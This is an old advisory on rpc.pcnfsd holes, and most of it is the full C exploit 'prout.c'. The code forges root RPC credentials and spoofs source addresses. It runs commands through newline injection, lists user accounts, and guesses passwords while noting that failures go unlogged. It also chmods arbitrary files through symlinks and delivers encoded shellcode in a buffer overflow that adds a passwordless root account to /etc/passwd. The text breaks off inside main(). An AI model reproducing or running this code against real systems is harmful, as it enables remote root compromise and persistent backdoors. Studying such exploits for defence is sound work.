COMMAND
rpc.pcnfsd
SYSTEMS AFFECTED
Many systems
PROBLEM
'ga' found following. After the two advisories released by rep-sec
and rhino9 about pcnfsd (both as one in rpc.pcnfsd #3 in mUNIXes
section). 'ga' checked if all the described holes were really
present in my Slackware 3.1 distrib (using the compiled rpc.pcnfsd
code shipped with Slackware 3.5). He found a buffer overrun in
the pcnfs daemon (Slackware) that could lead to a remote root
compromise.
He didn't succeed to use the ps630() hole explained in rep sec
advisory (same as pr_cancel() phf-like bug). It's because
pcnfsd_print.c checks if the file really exists (and then tries
to rename it with the .spl extension). Therefore, if the file
doesn't exist then an error is returned. However, if a local
user creates a filename in the /var/spool/pcnfs directory which
is in fact the command to execute (ex:
/var/spool/pcnfs/FILENAME\nwhoami\nBLAH) then ps630() will work
indeed, executing the command as root). The way to remotely
exploit the ps630 function is by tricking pcnfsd into detecting a
file, which will then allow you to get to the vulnerable code.
You can do this by sending a '.', which will be there.
Exploit follows (see comments below):
/*
prout.c : (ab)use of pcnfs RPC program (version 2 only).
[part of the rpc project, 981007]
happy birthday route..
ga <duncan@mygale.org>
*/
//#include <disclaimer.h>
#include <string.h> // strcpy and co
#include <stdio.h>
#include <stdlib.h> // malloc, free, strtol
#include <signal.h> // signal(), alarm()
#include <unistd.h> // getopt, getuid, geteuid
#include <errno.h> // perror
#include <netdb.h> // gethostbyname
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h> // socket interface
#include <linux/socket.h>
#include <linux/in.h> // ip protocol (IPPROTO_*)
#define LEN_HDR_IP 20
#define LEN_HDR_UDP 8
#define LEN_HDR_RPC 24
#define LEN_AUTH_UNIX 72+12 // length authentification field
// (credentials=null) plus
// length hostname%4 ("localhost")
#define ROUND_VALUE(value) (value/4+(value%4?1:0))
int ctimeout;
int verbose=0;
struct ip_hdr // 20
{
unsigned char ver;
unsigned char tos;
unsigned short int length;
unsigned short int identification;
unsigned short int fragoff;
unsigned char ttl;
unsigned char protocol;
unsigned short int checksum;
unsigned long int sip;
unsigned long int dip;
};
struct udp_hdr // 8
{
unsigned short int sport;
unsigned short int dport;
unsigned short int length;
unsigned short int checksum;
};
// RPC common hdr
struct rpc_hdr // 24
{ unsigned long xid;
unsigned long type_msg;
unsigned long version_rpc;
unsigned long prog_id;
unsigned long prog_ver;
unsigned long prog_proc;
};
// RPC pcnfsd call args
struct pr_cancel_args // 722(4)
{
unsigned long len_pn;
char printername[64];
unsigned long len_clnt;
char name[64];
unsigned long len_username;
char username[64];
unsigned long len_printerjobid;
char printerjobid[255];
unsigned long len_comments;
char comments[255];
};
#define LEN_HDR_PCN_CANCEL sizeof(struct pr_cancel_args)
struct pr_mapid_args
{
unsigned long len_comments;
char comments[255];
unsigned long req_list;
unsigned long mapreq;
unsigned long uid;
unsigned long len_username;
char username[64];
unsigned long mapreqnext;
};
#define LEN_HDR_PCN_MAPID sizeof(struct pr_mapid_args)
struct pr_auth_args
{
unsigned long len_clnt;
char name[64];
unsigned long len_id;
char id[32];
unsigned long len_passwd;
char passwd[64];
unsigned long len_comments;
char comments[255];
};
#define LEN_HDR_PCN_AUTH sizeof(struct pr_auth_args)
struct pr_init_args {
unsigned long len_clnt;
char name[64];
unsigned long len_pn;
char printername[64];
unsigned long len_comments;
char comments[255];
};
#define LEN_HDR_PCN_INIT sizeof(struct pr_init_args)
struct pr_info_args {
unsigned long len_version;
char version[255];
unsigned long len_comments;
char comments[255];
};
#define LEN_HDR_PCN_INFO sizeof(struct pr_info_args)
void handler_timeout(int foo)
{
alarm(0);
ctimeout=1;
}
void set_alarm()
{
alarm(10);
ctimeout=0;
}
int readfd(fd, buffer, sizeb)
int fd;
char *buffer;
int sizeb;
{
int nb;
signal(SIGALRM, handler_timeout);
set_alarm();
while(1) {
nb=read(fd, (char *)buffer, sizeb);
if (ctimeout) {
ctimeout--;
close(fd);
fprintf(stderr, "udp answer timeout\n");
return -2;
}
if (nb<0) {
perror("read");
close(fd);
return -1;
}
else break;
}
alarm(0);
return nb;
}
// PR_AUTH uses xor-crypted login/passwd
void crypt_xor(dest_str, source_str)
char *dest_str;
char *source_str;
{
while (*source_str)
{
*dest_str++=(*source_str^0x5b) & 0x7f;
source_str++;
}
*dest_str=0;
}
// It's ugly.. I know.
void dump_packet(unsigned char *pkt, int lenpkt)
{
register int m;
register int n;
register unsigned char *data;
printf("(%d bytes)\n", lenpkt);
data=pkt;
for (m=0;m<lenpkt;m++) {
if( (!(m%2)) && (m!=0) ) putchar(' ');
if( (!(m%8)) && (m!=0) ) {
n=m;
for (n=8;n>0;n--) {
if ((*(data+m-n)>31) && (*(data+m-n)<127))
printf("%c", *(data+m-n));
else
putchar('.');
}
putchar('\n');
}
printf("%02x",*(data+m));
}
for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
;m++) putchar(' ');
for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++) {
if ((*(data+m)>31) && (*(data+m)<127))
printf("%c", *(data+m));
else
putchar('.');
}
printf("\n\n");
}
// humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
int make_raw_socket()
{
int s;
int opt=1;
if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
perror("socket");
return -1;
}
if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) {
perror("setsockopt IP_HDRINCL");
return -1;
}
return s;
}
// spoof of the RPC auth unix authentification
void make_auth_unix(authptr)
unsigned long *authptr;
{
struct timeval tv;
gettimeofday(&tv, (struct timezone *) NULL);
*( authptr)=htonl(1); // auth unix
*(++authptr)=htonl(LEN_AUTH_UNIX-16); // length auth
*(++authptr)=htonl(tv.tv_sec); // local time
*(++authptr)=htonl(9); // length host
strcpy((char *)++authptr, "localhost"); // hostname
authptr+=(3); // len(host)%4
*( authptr)=htonl(0); // uid root
*(++authptr)=htonl(0); // gid root
*(++authptr)=htonl(9); // 9 gid grps
// group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
*(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
*(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
*(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
}
unsigned long int resolve_host_name(char *hname)
{
unsigned long inetaddr;
struct hostent *h_ent;
if ((inetaddr=inet_addr(hname))==-1) {
if (!(h_ent=gethostbyname(hname))) {
fprintf(stderr, "can't resolve host %s\n", hname);
exit(1);
}
bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
}
return(inetaddr);
}
/*
Execute a command with the id of a user on a remote system.
It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
check all the escaped shell charaters. Therefore, it's possible to execute a
"command" using the escape shell character '\n' (phf bug..).
"command" must not contain any of these characters : ";|&<>`'#!?*()[]^/"
otherwise pcnfs daemon rejects the call.
*/
int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
printername, command)
unsigned char *pkt;
int lenpkt;
unsigned long sip;
unsigned short int sport;
unsigned long dip;
unsigned short int dport;
char *username;
char *printername;
char *command;
{
int raws;
unsigned long *authp;
struct ip_hdr *iph;
struct udp_hdr *udph;
struct rpc_hdr *rpch;
struct pr_cancel_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
iph= (struct ip_hdr*) (pkt);
udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
+LEN_AUTH_UNIX);
iph->ver=0x45;
iph->length=htons(lenpkt);
iph->identification=htons(0x6761);
iph->ttl=0xff;
iph->protocol=IPPROTO_UDP;
iph->checksum=htons(0); // OS will do it for us..
iph->sip=sip;
iph->dip=dip;
udph->sport=htons(sport);
udph->dport=htons(dport);
udph->length=htons(lenpkt-LEN_HDR_IP);
udph->checksum=htons(0); // XXX no udp checksum
rpch->xid=htonl(0x67616761); // it has to be done..
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL
prh->len_pn =htonl(63);
prh->len_clnt =htonl(63);
prh->len_username =htonl(63);
prh->len_printerjobid =htonl(254);
prh->len_comments =htonl(254);
strcpy(prh->printername, printername);
strcpy(prh->username, username);
strcpy(prh->name, "localhost");
strcpy(prh->printerjobid, "whocares");
prh->printerjobid[7]='\n';
strcpy(&prh->printerjobid[8], command);
prh->printerjobid[7+strlen(command)+1]='\n';
strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
make_auth_unix(authp);
if ((raws=make_raw_socket())==-1) {
return -1;
}
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(911); // whatever
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(raws);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
close(raws);
return 0;
}
/*
Retrieve remotely all logins (with uid) from a system.
It's part of the pcnfsd implementation.
*/
int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
unsigned char *pkt;
int lenpkt;
unsigned long dip;
unsigned short int dport;
int lo_uid;
int up_uid;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];
struct rpc_hdr *rpch;
struct pr_mapid_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
rpch= (struct rpc_hdr*) (pkt);
authp= (unsigned long *) (pkt+LEN_HDR_RPC);
prh= (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(12); // PCNFSD_PROC_PRMAPID
prh->len_comments =htonl(254);
prh->req_list =htonl(1); // only one req_list
prh->mapreq =htonl(0); // MAP_REQ_UID
prh->len_username =htonl(63);
prh->mapreqnext =htonl(0); // end req_list
make_auth_unix(authp);
if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket");
return -1;
};
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(dport);
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
for (lo_uid; lo_uid<=up_uid;lo_uid++) {
prh->uid=htonl(lo_uid);
if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(sock);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
signal(SIGALRM, handler_timeout);
set_alarm();
while(1) {
nbytes=read(sock, (char *)ansrpc, 1024);
if (ctimeout) {
fprintf(stderr, "uid %i : udp packet lost or no answer from "
"the server\n", lo_uid);
break;
}
if (nbytes<0) {
perror("read");
close(sock);
return -1;
}
else break;
}
alarm(0);
if (!ctimeout) {
if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
close(sock);
return -1;
}
if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
printf("uid %i, user %s\n",
ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
(char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);
}
}
close(sock);
return 0;
}
/*
Return a list of available printers on the server.
*/
int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long dip;
unsigned short int dport;
{
int nbytes, sock;
unsigned long *authp;
unsigned long buffer[256];
unsigned long *ansrpc;
struct rpc_hdr *rpch;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
rpch= (struct rpc_hdr*) (pkt);
authp= (unsigned long *) (pkt+LEN_HDR_RPC);
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(4); // PCNFSD_PROC_PRLIST
make_auth_unix(authp);
if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket");
return -1;
};
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(dport);
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(sock);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
if ((nbytes=readfd(sock, (char *)buffer, 1024))<0)
return -1;
if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) ) {
fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
close(sock);
return -1;
}
if (verbose) dump_packet((unsigned char*)buffer, nbytes);
ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];
printf("printer list (printer name, device, comment):\n");
while(ansrpc[0]==htonl(1)) {
ansrpc++;
if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
else printf("- , ");
ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
else printf("- , ");
ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // skip client name
ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
else printf("\n");
ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // next list
}
close(sock);
return 0;
}
/*
Try to guess a combination login/passwd.
It's part of the pcnfsd implementation.
A failed attempt is _not_ logged but a successful one is logged in
wtmp (/usr/adm/wtmp)
*/
int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
unsigned char *pkt;
int lenpkt;
unsigned long dip;
unsigned short int dport;
char *username;
char *password;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];
struct rpc_hdr *rpch;
struct pr_auth_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
rpch= (struct rpc_hdr*) (pkt);
authp= (unsigned long *) (pkt+LEN_HDR_RPC);
prh= (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(13); // PCNFSD_PROC_PRAUTH
prh->len_clnt =htonl(63);
prh->len_id =htonl(31);
prh->len_passwd =htonl(63);
prh->len_comments =htonl(254);
strcpy(prh->comments, "kill -9 `pidof rpc.pcnfsd` ?");
strcpy(prh->name, "localhost");
crypt_xor(prh->id, username);
crypt_xor(prh->passwd, password);
make_auth_unix(authp);
if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket");
return -1;
};
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(dport);
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(sock);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
return -1;
if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
close(sock);
return -1;
}
if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
if (ntohl(ansrpc[6])==0)
fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
else
fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
username, password);
close(sock);
return 0;
}
/*
Execute a command as root on the system using a buffer overrun.
Another one ..
Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
3.5 (unpatched one). The return address may change with distribs..
If the overflow is successful, then /etc/passwd has the new entry :
"prout::0:0::/:/bin/sh"
*/
int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long sip;
unsigned short int sport;
unsigned long dip;
unsigned short int dport;
{
int raws;
unsigned long *authp;
struct ip_hdr *iph;
struct udp_hdr *udph;
struct rpc_hdr *rpch;
struct pr_cancel_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
// buffer overflow data
#define RETADDR 0xbffff740 // return address for pcnfsd
// @(#)pcnfsd_print.c 1.12 1/29/93
// used on slackware 3.1 but with code of
// rpc.pcnfsd shipped with slackware 3.5 (not
// patched). This value may be different for
// other linux distribs.
#define BUFFSIZE 250 // no more, no less
int off;
unsigned char *bover;
unsigned long *boverl;
char execode[100]= // [asm code (linux x86 only)]
"\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
"\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
"\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
"\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
"\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" // ";|&<>`'#!?*()[]^/" and 0s
"\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
"\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
"\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
"\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
"\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
// adds the new entry
// "prout::0:0::/:/bin/sh\n"
// in /etc/passwd
// and then it exits cleanly
iph= (struct ip_hdr*) (pkt);
udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
+LEN_AUTH_UNIX);
// set up code of buffer overflow
bover=(unsigned char *)&(prh->printerjobid);
for (off=0; off<(BUFFSIZE/2); off++) // 125 non operates
*(bover++)= 0x90; // (x86 nop operand) Hello noppie.
for (off=0; off<sizeof(execode); off++) // 100 bytes of code
*(bover++)= execode[off]; // stick our asm code in the buffer
boverl=(unsigned long *)bover;
for (off=0; off<8; off++) // 7 unsigned long RETADDR
*(boverl+off)=RETADDR; // our return address (on stack)
// set up IP packet
iph->ver=0x45;
iph->length=htons(lenpkt);
iph->identification=htons(0x6761);
iph->ttl=0xff;
iph->protocol=IPPROTO_UDP;
iph->checksum=htons(0); // OS will do it for us
iph->sip=sip;
iph->dip=dip;
udph->sport=htons(sport);
udph->dport=htons(dport);
udph->length=htons(lenpkt-LEN_HDR_IP);
udph->checksum=htons(0); // XXX no udp checksum
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL
prh->len_pn =htonl(63);
prh->len_clnt =htonl(63);
prh->len_username =htonl(63);
prh->len_printerjobid =htonl(254);
prh->len_comments =htonl(254);
strcpy (prh->printername, "lp"); // we assume "lp" is a good
strcpy (prh->username, "nobody"); // printer
strcpy (prh->name, "localhost");
strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");
make_auth_unix(authp);
if ((raws=make_raw_socket())==-1) {
return -1;
}
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(911); // whatever
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(raws);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
close(raws);
return 0;
}
/*
A local user can chmod(777) any files in the pcnfsd directory (including the
pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg).
Therefore, using a symlink, a user can chmod(777) any files on the system.
*/
int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long dip;
unsigned short int dport;
char *filename;
{
int sock;
unsigned long *authp;
struct rpc_hdr *rpch;
struct pr_init_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
rpch= (struct rpc_hdr*) (pkt);
authp= (unsigned long *) (pkt+LEN_HDR_RPC);
prh= (struct pr_init_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT
prh->len_clnt =htonl(63);
prh->len_pn =htonl(63);
prh->len_comments =htonl(254);
strcpy(prh->printername, "lp"); // PR_INIT doesn't check it
// anyway
strcpy(prh->name, filename);
strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
make_auth_unix(authp);
if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket");
return -1;
};
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(dport);
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(sock);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
close(sock);
return 0;
}
/*
Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port.
*/
int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename)
unsigned char *pkt;
int lenpkt;
unsigned long sip;
unsigned short int sport;
unsigned long dip;
unsigned short int dport;
char *filename;
{
int raws;
unsigned long *authp;
struct ip_hdr *iph;
struct udp_hdr *udph;
struct rpc_hdr *rpch;
struct pr_init_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
iph= (struct ip_hdr*) (pkt);
udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
prh= (struct pr_init_args *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
+LEN_AUTH_UNIX);
iph->ver=0x45;
iph->length=htons(lenpkt);
iph->identification=htons(0x6761);
iph->ttl=0xff;
iph->protocol=IPPROTO_UDP;
iph->checksum=htons(0); // OS will do it for us
iph->sip=sip;
iph->dip=dip;
udph->sport=htons(sport);
udph->dport=htons(dport);
udph->length=htons(lenpkt-LEN_HDR_IP);
udph->checksum=htons(0); // XXX no udp checksum, not
rpch->xid=htonl(0x67616761); // reliable over inet.
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT
prh->len_clnt =htonl(63);
prh->len_pn =htonl(63);
prh->len_comments =htonl(254);
strcpy(prh->printername, "lp"); // whatever
strcpy(prh->name, filename);
strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
make_auth_unix(authp);
if ((raws=make_raw_socket())==-1) {
return -1;
}
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(911); // whatever
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(raws);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
close(raws);
return 0;
}
/*
A (remote) user can retrieve the version of the running pcnfs daemon.
If a buffer overrun exists in the pcnfs daemon then, using the version info,
an evil user can guess the good return address to put on the stack (this value
directly depends on the version of pcnfs).
*/
int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport)
unsigned char *pkt;
int lenpkt;
unsigned long dip;
unsigned short int dport;
{
int nbytes, sock;
unsigned long *authp;
unsigned long ansrpc[256];
struct rpc_hdr *rpch;
struct pr_info_args *prh;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
rpch= (struct rpc_hdr*) (pkt);
authp= (unsigned long *) (pkt+LEN_HDR_RPC);
prh= (struct pr_info_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
rpch->xid=htonl(0x67616761);
rpch->type_msg=htonl(0);
rpch->version_rpc=htonl(2);
rpch->prog_id=htonl(150001);
rpch->prog_ver=htonl(2);
rpch->prog_proc=htonl(1); // PCNFSD_PROC_PRINFO
prh->len_version =htonl(254);
prh->len_comments =htonl(254);
strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd");
make_auth_unix(authp);
if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) {
perror("socket");
return -1;
};
bzero((char *)&s_in, sizeof(s_in));
s_in.sin_family=AF_INET;
s_in.sin_port=htons(dport);
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(sock);
return -1;
}
if (verbose) dump_packet(pkt, lenpkt);
if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
return -1;
if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) {
fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
close(sock);
return -1;
}
if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
if (ntohl(ansrpc[6])!=0)
printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]);
close(sock);
return 0;
}
void usage(char *progname)
{
fprintf(stderr, "help : %s -h\n", progname);
exit(0);
}
void option(char *progname)
{
fprintf(stderr, "%s :\n", progname);
fprintf(stderr, " -i (infos about %s)\n", progname);
fprintf(stderr, " -s (infos about system on which %s was tested)\n"
,progname);
fprintf(stderr, " -v verbose mode (dumps sent/received packets)\n");
fprintf(stderr, " -p destip destport (retrieve printer list)\n");
fprintf(stderr, " -w destip destport (retrieve pcnfs version)\n");
fprintf(stderr, " -a destip destport user passwd\n");
fprintf(stderr, " -u destip destport lower_uid upper_uid\n");
fprintf(stderr, " -fl destip destport filename\n");
fprintf(stderr, " -fs sourceip sourceport destip destport filename"
" \n");
fprintf(stderr, " -c sourceip sourceport destip destport username"
" printername command\n");
fprintf(stderr, " -o sourceip sourceport destip destport\n");
fprintf(stderr, " -h scroll up your term about 10 lines\n");
exit(0);
}
main(int argc,char **argv)
{
int lenpacket, arg;
int flag=0;
unsigned char *packet;
while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF) {
switch(arg) {
case 'p':
if ((argc-optind)!=2) option(argv[0]);
lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX;
flag=1;
break;
case 'w':
if ((argc-optind)!=2) option(argv[0]);
lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
flag=2;
break;
case 'a':
if ((argc-optind)!=4) option(argv[0]);
lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
flag=3;
break;
case 'u':
if ((argc-optind)!=4) option(argv[0]);
lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
flag=4;
break;
case 'f':
switch((char)*(optarg)) {
case 'l':
if ((argc-optind)!=3) option(argv[0]);
lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
flag=5;
break;
case 's':
if ((argc-optind)!=5) option(argv[0]);
lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
LEN_HDR_PCN_INIT;
flag=6;
break;
default:
option(argv[0]);
break; // NOTREACHED
}
break;
case 'c':
if ((argc-optind)!=7) option(argv[0]);
lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
LEN_HDR_PCN_CANCEL;
